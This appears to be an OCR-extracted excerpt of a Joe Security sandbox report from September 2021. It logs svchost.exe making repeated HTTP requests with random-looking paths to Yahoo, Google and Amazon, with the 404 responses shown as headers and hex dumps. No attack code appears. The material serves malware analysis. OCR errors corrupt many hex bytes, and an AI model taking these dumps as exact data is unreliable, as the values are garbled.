etag: "687-5c93bcbae3b40-gzip”

accept-ranges: bytes

content-encoding: gzip

vary: Accept-Encoding,User-Agent,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache,X-Amzn-AX-Treatment,User-
Agent

strict-transport-security: max-age=47474747; includeSubDomains; preload
x-frame-options: SAMEORIGIN

Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 55 5d 6f db 36 14 fd 2b 2¢ 85 Oe f1 12 59 92 93 74 8d be b0 15 ed 82 3d 6¢
18.d0 00 7b 18 86 80 22 af 28 2e 14 c9 91 57 8e 5d c3 ff 7d 90 e4 d8 6e fa d8 07 11 22 75 ef 3d 7 1c f2 50 e5 1b 61 39 6e
1d 90 Oe 7b 5d 97 87 11 98 a8 cb 1e 90 11 de 31 1f 00 2b 3a 60 1b bf a7 87 d5 Oe d1 c5 f0 df a0 d6 15 dd c4 03 8b b9 ed
1d 43 d5 68 a0 84 5b 83 60 b0 a2 0a 2a 10 12 5e 92 Oc eb al a2 6b 05 cf ce 7a 3c 8b 7b 56 02 bb 4a c0 5a 71 88 a7 c9
1551 46 al 62 3a Oe 9c 69 a8 b2 2b 12 3a af cc 53 8c 36 6e 15 56 c6 d2 ba 44 85 1a ea 5f 7a f6 ¢5 9a 25 b7 3d f9 93 49
20 7 58 24 bf da c1 88 32 99 03 ca 80 5b 0d f5 48 ed aa b1 62 bb 73 4¢c 08 65 64 9e 16 3d f3 52 99 3c dd ab 5e ee la eb
05 f8 3c dd 47 ec 2a 6a 76 0d e3 4f d2 8f 85 2 68 75 bd

Data Ascii: UJo6+, Yt={"(.W]in"u=Padn{]1+: Ch[ *"kz<{VJZqQFb:i+:S6nVD_z%=I X$2[HbsLed=R<"<G*vOhu

Destination IP  Destination Port Process
87.248.100.216 443 C:\Windows\System32\svchost.exe

Data

GET /5gxze318If75pclBusixizOclJekccl8A4200A6u8whnw/2Rry2xqwlEVsiF64tpe3Rhov4wb8Wp79ttm2ear/mmzonvial
ISYpfwxiShcLMzxXkgV1xigzSt/inw4k7ndygbbgwlb7szc67jc/wa5R7hLnhtfuUhwfOnx0ag44at42bKhqible/ HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.yahoo.com

Connection: Keep-Alive

Cookie: B=clggcmtgl5iga&b=3&s=a5
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kBytes
Timestamp transferred

2021-09-28 07:53:57 UTC 943

2021-09-28 07:53:57 UTC 944

2021-09-28 07:53:57 UTC 945

Session ID Source IP

33 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:53:58 UTC 946

2021-09-28 07:53:58 UTC 946

Copyright Joe Security LLC 2021

Direction

IN

Source Port
49936

Direction
ouT

Data

HTTP/1.1 404 Not Found

date: Tue, 28 Sep 2021 07:53:57 GMT

p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi
CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL
HEA PRE LOC GOV"

cache-control: private

X-content-type-options: nosniff

content-type: text/html; charset=UTF-8

X-envoy-upstream-service-time: 8

server: ATS

Content-Length: 946

Age: 0

Connection: close

Strict-Transport-Security: max-age=31536000

Content-Security-Policy: frame-ancestors 'self' https://*.builtbygirls.com https://*.rivals.com https://*.engadget.com https://*.i
ntheknow.com https://*.autoblog.com https://*.techcrunch.com https://*.yahoo.com https://*.aol.com https://*.huffingtonp
ost.com https://*.0ath.com https://*.search.yahoo.com https://*.search.aol.com https://*.search.huffpost.com https://*.v
erizonmedia.com https://*.publishing.oath.com https://*.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts
allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&si
te=frontpage&region=US&lang=en-US&device=desktop&yrid=f77be3dgl5igl&partner=;

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 42 3d 63 6¢c 67 67 63 6d 74 67 6¢ 35 69 67 61 26 62 3d 33 26 73 3d 61 35
3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 32 38 20 53 65 70 20 32 30 32 32 20 31 33 3a 35 33 3a 35 37 20 47 4d 54
3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 35 37 36 30 30 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50
61 74 68 3d 2f 0d Oa 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2¢ 20 72 65 70 6f
72742d 7572 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73
72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6¢ 79 22 0d Oa 52 65 66 65
727265 72 2d 50 6f 6¢ 69 63 79 3a 20 6e 6f 2d 72 65 66

Data Ascii: Set-Cookie: B=clggcmtgl5iga&b=3&s=a5; Expires=Wed, 28 Sep 2022 13:53:57 GMT; Max-Age=31557600;
Domain=.yahoo.com; Path=/Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=y
ahoocom-expect-ct-report-only“Referrer-Policy: no-ref

Data Raw: 3c 68 74 6d 6c 3e Oa 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 75 74 66 2d 38 27 3e 0a 3c 73 63 72 69 70
743e 0a 76 61 72 20 75 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 3f 65 72 72 3d 34 30 34 26
6572 72 5f 75 72 6¢ 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 66 35 71
78 7a 65 33 31 38 6¢ 66 37 35 70 63 6¢ 42 75 73 69 78 69 7a 30 63 49 4a 65 6b 63 63 6¢ 38 41 34 32 30 6f 41 36 75 38
7768 6e 77 2532 66 3252 72 79 32 78 71 77 6¢ 45 56 73 69 46 36 34 74 70 65 33 52 68 6f 76 34 77 62 38 57 70 37 39
7474 6d 32 65 61 72 25 32 66 6d 6d 7a 6f 6e 76 31 61 31 6¢ 53 59 70 66 77 78 69 53 68 63 4c 4d 7a 78 58 6b 67 56 31
78 69 67 7a 53 74 25 32 66 6e 77 34 6b 37 6e 64 79 67 62 62 71

Data Ascii: <html><meta charset="utf-8'><script>var u="https://www.yahoo.com/?err=404&err_url=https%3a%2{%2fww
w.yahoo.com%2f5qxze318lf75pcIBusixizOclJekccl8A4200A6u8whnw%2f2Rry2xqwlEVsiF64tpe3Rhov4wb8Wp79ttm2ea
r%2fmmzonv1allSYpfwxiShcLMzxXkgV1xigzSt%2fnw4k7ndygbbg

Destination IP  Destination Port Process
87.248.100.216 443 C:\Windows\System32\svchost.exe

Data

GET /5plLtfbxrypimafaskbytFsHook1t3a0niuf/9643mz8cS6tdi7lgaabHevS46jibczki8vdanMpodf3a/nim1wNIspi2mi
N7Cukulmaneulmugsn5/ewwL01YUYovls3aHyl/msM3dhGsffzncwxmlazlyjC4i67xsa4sIkl0OIlj/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.yahoo.com

Connection: Keep-Alive

Cookie: B=clggcmtgl5iga&b=3&s=a5

HTTP/1.1 404 Not Found

date: Tue, 28 Sep 2021 07:53:58 GMT

p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml*, CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi
CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBI IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL
HEA PRE LOC GOV"

cache-control: private

x-content-type-options: nosniff

content-type: text/html; charset=UTF-8

X-envoy-upstream-service-time: 10

server: ATS

Content-Length: 928

Age: 0

Connection: close

Strict-Transport-Security: max-age=31536000

Content-Security-Policy: frame-ancestors 'self' https://*.builtbygirls.com https://*.rivals.com https://*.engadget.com https://*.i
ntheknow.com https://*.autoblog.com https://*.techcrunch.com https://*.yahoo.com https://*.aol.com https://*.huffingtonp
ost.com https://*.0ath.com https://*.search.yahoo.com https://*.search.aol.com https://*.search.huffpost.com https://*.v
erizonmedia.com https://*.publishing.oath.com https://*.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts
allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&si
te=frontpage&region=US&lang=en-US&device=desktop&yrid=0ljp5jpgl5igm&partner=;

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block
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kBytes
Timestamp transferred

2021-09-28 07:53:58 UTC 947

2021-09-28 07:53:58 UTC 947

Session ID Source IP

34 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:53:59 UTC 948

2021-09-28 07:53:59 UTC 949

2021-09-28 07:53:59 UTC 949

2021-09-28 07:53:59 UTC 950

Session ID Source IP

35 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:53:59 UTC 951

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49938

Direction

ouT

Source Port
49939

Direction
ouT

Data

Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 42 3d 63 6¢ 67 67 63 6d 74 67 6¢ 35 69 67 61 26 62 3d 33 26 73 3d 61 35
3b 2045 78 70 69 72 65 73 3d 57 65 64 2c 20 32 38 20 53 65 70 20 32 30 32 32 20 31 33 3a 35 33 3a 35 38 20 47 4d 54
3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 35 37 36 30 30 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50
61 74 68 3d 2f 0d Oa 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f
72 742d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73
7263 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6¢ 79 22 0d Oa 52 65 66 65
7272 65 72 2d 50 6f 6¢ 69 63 79 3a 20 6e 6f 2d 72 65 66

Data Ascii: Set-Cookie: B=clggcmtgl5iga&b=3&s=a5; Expires=Wed, 28 Sep 2022 13:53:58 GMT; Max-Age=31557600;
Domain=.yahoo.com; Path=/Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=y
ahoocom-expect-ct-report-only“Referrer-Policy: no-ref

Data Raw: 3c 68 74 6d 6¢ 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 75 74 66 2d 38 27 3e 0a 3c 73 63 72 69 70
743e 0a 76 617220 75 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 3f 65 72 72 3d 34 30 34 26
65 72 72 5f 75 72 6¢ 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 66 35 70
6¢C 4c 74 66 62 78 72 79 70 69 6d 61 66 61 73 6b 62 79 74 46 73 48 6f 6f 6b 31 74 33 61 30 6€ 69 75 66 25 32 66 39 36
3433 6d 7a 38 63 53 36 74 64 69 37 6¢ 67 61 61 62 48 65 76 53 34 36 6a 69 62 63 7a 6b 6¢ 38 76 64 61 6e 4d 70 6f 64
66 33 61 25 32 66 6e 31 6d 31 77 4e 49 73 70 69 32 6d 69 4e 37 43 75 6b 75 6¢ 6d 61 6e 65 75 6¢ 6d 75 71 73 6e 35 25
3266 65 77 77 4c 30 31 59 55 59 6f 76 6¢ 73 33 61 48 79 6¢ 25

Data Ascii: <html><meta charset="utf-8'><script>var u="https://www.yahoo.com/?err=404&err_url=https%3a%2{%2fww
w.yahoo.com%2f5plLtfbxrypimafaskbytFsHook1t3a0niuf%2f9643mz8cS6tdi7lgaabHevS46jibczkl8vdanMpodf3a%2f
n1im1wNIspi2miN7Cukulmaneulmugsn5%2fewwL01YUYovls3aHyl%

Destination IP Destination Port Process

142.250.185.196 443 C:\Windows\System32\svchost.exe

Data

GET /qv3ia8eolR2XnA4unvitduMeHm9f8pwemSy6p4mfmu3rmgk4/or3iwef3yx9jXo4OpjFrd/v170ubNvro7crSppFA7y3zrbli/
HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.google.com

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Referrer-Policy: no-referrer

Content-Length: 1659

Date: Tue, 28 Sep 2021 07:53:59 GMT

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; m
a=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65
746120 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74
20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2¢ 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6C
65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3¢ 74 69 74 6¢ 65 3e 45 72 72 6f 7
220 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6¢ 65 3e 0a 20 20 3c 73 74 79 6¢ 65 3e Oa 20 2
02020 2a7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6¢ 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31
357078 2f 3232 70 78 20 61 72 69 61 6¢ 2c 73 61 6e 73 2d 73 65

Data Ascii: <IDOCTYPE htmI><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1,
minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> *{margin:0;padding:0}html,co
de{font:15px/22px arial,sans-se

Data Raw: 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25
2031 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65
2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6C 65 6C
6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73 63
72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6¢ 2d 72 61 74 69
6f 3232 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6€ 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2€ 63 6f
6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e

Data Ascii: r_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/g
ooglelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo
{background:url(//www.google.com/images/brandin

Destination IP Destination Port Process
162.219.225.118 443 C:\Windows\System32\svchost.exe

Data

GET /ykvO2qgxxd1yrlYBh6thdoahFh4lgdfrtvmjvto/etkagls8gar4Mt80oihaQs/pv3hVtHg9dI7ngNph7gizd0iSbca6umOE
r7folwYvKfbybg6k2x5ifkeDucmyLzraotlah4yeoBBkKna/gyszrjpSljYd3na69b314m8x211G7yPSIBk6lgxj/ HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.amazon.com

Connection: Keep-Alive
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kBytes
Timestamp transferred

2021-09-28 07:53:59 UTC 951

2021-09-28 07:53:59 UTC 952

Session ID Source IP

36 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:54:00 UTC 952

2021-09-28 07:54:00 UTC 953

2021-09-28 07:54:00 UTC 954

2021-09-28 07:54:00 UTC 954

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49940

Direction

ouT

Data

HTTP/1.1 404 Not Found

Connection: close

Content-Length: 897

server: Server

date: Tue, 28 Sep 2021 07:53:59 GMT

content-type: text/html

permissions-policy: interest-cohort=()

x-amz-rid: NMOYCKVJ57X70XY2B20A

x-sdch-encode: 0

last-modified: Tue, 10 Aug 2021 22:12:21 GMT

etag: "687-5c93bcbae3b40-gzip"

accept-ranges: bytes

content-encoding: gzip

vary: Accept-Encoding,User-Agent,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache,X-Amzn-AX-Treatment,User-
Agent

strict-transport-security: max-age=47474747; includeSubDomains; preload
x-frame-options: SAMEORIGIN

Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 55 5d 6f db 36 14 fd 2b 2c 85 Oe f1 12 59 92 93 74 8d be b0 15 ed 82 3d 6¢
18 d0 00 7b 18 86 80 22 af 28 2e 14 c9 91 57 8e 5d c3 ff 7d 90 e4 d8 6e fa d8 07 11 22 75 ef 3d 7 1c f2 50 e5 1b 61 39 6e
1d 90 Oe 7b 5d 97 87 11 98 a8 cb 1e 90 11 de 31 1f 00 2b 3a 60 1b bf a7 87 d5 Oe d1 c5 fO df a0 d6 15 dd c4 03 8b b9 ed
1d 43 d5 68 a0 84 5b 83 60 b0 a2 0a 2a 10 12 5e 92 Oc eb al a2 6b 05 cf ce 7a 3c 8b 7b 56 02 bb 4a c0 5a 71 88 a7 c9
1551 46 al 62 3a Oe 9c 69 a8 b2 2b 12 3a af cc 53 8c 36 6e 15 56 c6 d2 ba 44 85 1a ea 5f 7a f6 ¢5 9a 25 b7 3d f9 93 49
20 7f 58 24 bf da c1 88 32 99 03 ca 80 5b 0d 5 48 ed aa b1 62 bb 73 4c 08 65 64 9e 16 3d f3 52 99 3c dd ab 5e ee 1a eb
05 f8 3c dd 47 ec 2a 6a 76 0d e3 4f d2 8f 85 f2 68 75 bd

Data Ascii: UJo6+,Yt=I{"(.W]}n"u=Padn{]1+:"Ch[ *"kz<{VJZqQFb:i+:S6nVD_z%=| X$2[HbsLed=R<"<G*vOhu

Destination IP Destination Port Process

87.248.100.216 443 C:\Windows\System32\svchost.exe

Data

GET /eAtiq6023uzpfinsva/q3xgjbji2c1D0csjhBdkai070Encd5Ye9nkajur7/vs1170vtjt79fs2aj87jy2t5tyzm66ZpOviChousrafs/
HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.yahoo.com

Connection: Keep-Alive

Cookie: B=clggcmtgl5iga&b=3&s=a5

HTTP/1.1 404 Not Found

date: Tue, 28 Sep 2021 07:53:59 GMT

p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi
CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBIi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL
HEA PRE LOC GOV"

cache-control: private

X-content-type-options: nosniff

content-type: text/html; charset=UTF-8

X-envoy-upstream-service-time: 10

server: ATS

Content-Length: 782

Age: 1

Connection: close

Strict-Transport-Security: max-age=31536000

Content-Security-Policy: frame-ancestors 'self' https://*.builtbygirls.com https://*.rivals.com https://*.engadget.com https://*.i
ntheknow.com https://*.autoblog.com https://*.techcrunch.com https://*.yahoo.com https://*.aol.com https://*.huffingtonp
ost.com https://*.oath.com https://*.search.yahoo.com https://*.search.aol.com https://*.search.huffpost.com https://*.v
erizonmedia.com https://*.publishing.oath.com https://*.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts
allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&si
te=frontpage&region=US&lang=en-US&device=desktop&yrid=825ibo9g|5igo&partner=;

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 42 3d 63 6¢ 67 67 63 6d 74 67 6¢ 35 69 67 61 26 62 3d 33 26 73 3d 61 35
3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 32 38 20 53 65 70 20 32 30 32 32 20 31 33 3a 35 34 3a 30 30 20 47 4d 54
3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 35 37 36 30 30 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50
61 74 68 3d 2f 0d Oa 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f
72742d 7572 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73
72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6¢ 79 22 0d 0a 52 65 66 65
7272 65 72 2d 50 6f 6¢ 69 63 79 3a 20 6e 6f 2d 72 65 66

Data Ascii: Set-Cookie: B=clggcmtgl5iga&b=3&s=a5; Expires=Wed, 28 Sep 2022 13:54:00 GMT; Max-Age=31557600;
Domain=.yahoo.com; Path=/Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=y
ahoocom-expect-ct-report-only“Referrer-Policy: no-ref

Data Raw: 3c 68 74 6d 6¢ 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 75 74 66 2d 38 27 3e 0a 3c 73 63 72 69 70
74 3e 0a 76 61 72 20 75 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 3f 65 72 72 3d 34 30 34 26
65 72 72 5f 75 72 6¢ 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 66 65 41
7469 7136 71 32 33 75 7a 70 66 6a 6e 73 76 61 25 32 66 71 33 78 67 6a 62 6a 69 32 63 31 44 30 63 73 6a 68 42 64 6b
61 69 30 37 6f 45 6e 63 64 35 59 65 39 6e 6b 61 6a 75 72 37 2532 66 76 73 31 31 37 30 76 74 6a 74 37 39 66 73 32 61
6a 3837 6a 79 32 74 35 74 79 7a 6d 36 36 5a 70 30 76 69 43 68 6f 75 73 72 61 66 38 25 32 66 27 3b 0a 69 66 28 77 69
6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 74 6f 70 29 7b 0a 20 20

Data Ascii: <htmI><meta charset="'utf-8'><script>var u="https://www.yahoo.com/?err=404&err_url=https%3a%2f%2fww
w.yahoo.com%?2feAtiq6q23uzpfinsva%2fq3xgjbji2c1D0csjhBdkai070Encd5Ye9nkajur7%2fvs1170vtjt79fs2aj87jy2
t5tyzm66Zp0viChousraf8%2f';if(window!=window.top){
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Session ID Source IP

37 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:54:00 UTC 955

2021-09-28 07:54:00 UTC 955

2021-09-28 07:54:00 UTC 956

Session ID Source IP

38 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:54:01 UTC 957

2021-09-28 07:54:01 UTC 957

2021-09-28 07:54:01 UTC 958

Copyright Joe Security LLC 2021

Source Port

49941

Direction

ouT

Source Port

49944

Direction

ouT

Destination IP Destination Port Process

162.219.225.118 443 C:\Windows\System32\svchost.exe

Data

GET /ruhmgj52my7pp86DzBjihfe/5Gas5ouavctnk1jk0e3Z1dmfpizvxcylrv5x6H14pke/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.amazon.com

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Connection: close

Content-Length: 897

server: Server

date: Tue, 28 Sep 2021 07:54:00 GMT

content-type: text/html

permissions-policy: interest-cohort=()

x-amz-rid: WR1820SJGAZTDD7RWOKH

x-sdch-encode: 0

last-modified: Tue, 10 Aug 2021 22:12:21 GMT

etag: "687-5c93bcbae3b40-gzip"

accept-ranges: bytes

content-encoding: gzip

vary: Accept-Encoding,User-Agent,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache,X-Amzn-AX-Treatment,User-
Agent

strict-transport-security: max-age=47474747; includeSubDomains; preload
x-frame-options: SAMEORIGIN

Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 55 5d 6f db 36 14 fd 2b 2c 85 Oe f1 12 59 92 93 74 8d be b0 15 ed 82 3d 6¢
18d0 00 7b 18 86 80 22 af 28 2e 14 c9 91 57 8e 5d c3 ff 7d 90 e4 d8 6e fa d8 07 11 22 75 ef 3d {7 1c f2 50 e5 1b 61 39 6e
1d 90 Oe 7b 5d 97 87 11 98 a8 cb 1e 90 11 de 31 1f 00 2b 3a 60 1b bf a7 87 d5 Oe d1 c5 f0 df a0 d6 15 dd c4 03 8b b9 ed
1d 43 d5 68 a0 84 5b 83 60 b0 a2 Oa 2a 10 12 5e 92 Oc eb al a2 6b 05 cf ce 7a 3c 8b 7b 56 02 bb 4a c0 5a 71 88 a7 c9
1551 46 al 62 3a Oe 9c 69 a8 b2 2b 12 3a af cc 53 8¢ 36 6e 15 56 c6 d2 ba 44 85 1a ea 5f 7a f6 ¢5 9a 25 b7 3d f9 93 49
20 7f 58 24 bf da c1 88 32 99 03 ca 80 5b 0d f5 48 ed aa b1 62 bb 73 4c 08 65 64 9e 16 3d f3 52 99 3c dd ab 5e ee 1a eb
05 f8 3c dd 47 ec 2a 6a 76 0d e3 4f d2 8f 85 f2 68 75 bd

Data Ascii: UJo6+,Yt=K{"(.W]}n"u=Pa9n{]1+: Ch[ *"kz<{VJIZqQFb:i+:S6nVD_z%=I X$2[HbsLed=R<"<G*jvOhu

Destination IP Destination Port Process

87.248.100.216 443 C:\Windows\System32\svchost.exe

Data

GET /mv5d2ghb91jYux3rhfgUzspdpQ/nrdi3qvgjuifgEhQsmfgwlvgpxjErohrn/8aj6zfdmkmm2If508vim8A6eOacvc16rig6/
HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.yahoo.com

Connection: Keep-Alive

Cookie: B=clggcmtgl5iga&b=3&s=a5

HTTP/1.1 404 Not Found

date: Tue, 28 Sep 2021 07:54:00 GMT

p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAI IVDi
CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBI IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL
HEA PRE LOC GOV"

cache-control: private

X-content-type-options: nosniff

content-type: text/html; charset=UTF-8

X-envoy-upstream-service-time: 9

server: ATS

Content-Length: 768

Age: 1

Connection: close

Strict-Transport-Security: max-age=31536000

Content-Security-Policy: frame-ancestors 'self' https://*.builtbygirls.com https://*.rivals.com https://*.engadget.com https://*.i
ntheknow.com https://*.autoblog.com https://*.techcrunch.com https://*.yahoo.com https://*.aol.com https://*.huffingtonp
ost.com https://*.0ath.com https://*.search.yahoo.com https://*.search.aol.com https://*.search.huffpost.com https://*.v
erizonmedia.com https://*.publishing.oath.com https://*.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts
allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&si
te=frontpage&region=US&lang=en-US&device=desktop&yrid=3j100jhgl5igp&partner=;

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 42 3d 63 6¢ 67 67 63 6d 74 67 6¢ 35 69 67 61 26 62 3d 33 26 73 3d 61 35
3b 2045 78 70 69 72 65 73 3d 57 65 64 2c 20 32 38 20 53 65 70 20 32 30 32 32 20 31 33 3a 35 34 3a 30 31 20 47 4d 54
